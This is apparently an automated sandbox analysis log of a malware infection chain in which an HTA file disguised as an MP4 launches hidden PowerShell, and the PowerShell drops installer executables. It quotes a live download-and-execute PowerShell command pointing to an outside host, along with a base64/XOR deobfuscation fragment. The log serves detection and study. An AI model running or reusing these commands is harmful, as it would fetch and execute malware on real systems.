Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Section loaded: explorerframe.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: anrek.mp4.hta

Static file information: File size 1692058 > 1048576

Source:	Binary string: protobuf-net.pdbSHA256}Lq source: powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 3.2.powershell.exe.6a00000.1.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 3.2.powershell.exe.6a00000.1.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 3.2.powershell.exe.6a00000.1.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 3.2.powershell.exe.6a00000.1.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 3.2.powershell.exe.6a00000.1.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($z));$byteString = $enc.GetBytes($string);$xordData = $(for ($i = 0; $i -lt $byteString.length; ) {for ($j = 0; $j -lt $xorkey.length; $j++) {$byteString[$i] -bxor $xorkey[$j];$i++;if

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))"			Jump to behavior

Source: FQCBPDRKWCIGP0ODQG879LFLUZ.tmp.8.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29
Source: FQCBPDRKWCIGP0ODQG879LFLUZ.tmp.10.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29
Source: FQCBPDRKWCIGP0ODQG879LFLUZ.exe.7.dr	Static PE information: real checksum: 0x9307ce should be: 0x880373

Source: FQCBPDRKWCIGP0ODQG879LFLUZ.exe.7.dr	Static PE information: section name: .didata
Source: FQCBPDRKWCIGP0ODQG879LFLUZ.tmp.8.dr	Static PE information: section name: .didata
Source: FQCBPDRKWCIGP0ODQG879LFLUZ.tmp.10.dr	Static PE information: section name: .didata

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_006EDBAC push ecx; retf	3_2_006EDBAD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06969EC6 push es; ret	3_2_06969EC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06969EF6 push es; iretd	3_2_06969F00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06BDD6A1 push es; retf	3_2_06BDD6B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06BDD6DA push es; iretd	3_2_06BDD71C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06BDD66A push es; iretd	3_2_06BDD678
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06BDE70B push es; ret	3_2_06BDE714
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06BDF20B push es; retf	3_2_06BDF224
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06BD234B push ecx; ret	3_2_06BD234C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06BDA182 push es; ret	3_2_06BDA188
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06BDF1F8 push es; retf	3_2_06BDF208
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C05A97 push es; iretd	3_2_06C05D40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C05C97 push es; iretd	3_2_06C05D40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C07853 push es; retf C06Fh	3_2_06C07838
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C035E7 push esi; retf	3_2_06C035E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C05DFF push es; retf	3_2_06C05E00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C05D9B push es; ret	3_2_06C05D9C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C22EF6 push esi; iretd	3_2_06C22EFC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C24BB0 push eax; ret	3_2_06C24BB1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06C2906D push es; iretd	3_2_06C29080
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06F71AFF push ebp; iretd	3_2_06F71B01
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06F76AA0 push es; iretd	3_2_06F76AA1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06F71A8A push esi; iretd	3_2_06F71A8B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06F71A2C push esi; iretd	3_2_06F71A2D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06F71B8D push ebp; iretd	3_2_06F71B8F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06F7C327 push eax; retf 007Ah	3_2_06F7C331
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06F71B1F push ebp; iretd	3_2_06F71B20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_0709AFC0 push es; ret	3_2_0709AFDE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_0709AFE0 push es; ret	3_2_0709B0DE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_0709B61B push FFFFFFE8h; retf	3_2_0709B631
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_0709AD8E push ds; ret	3_2_0709AD8F

Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-G0TQE.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-B9GOU.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-G0TQE.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	File created: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\is-B41J4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-B9GOU.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	File created: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Jump to dropped file

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
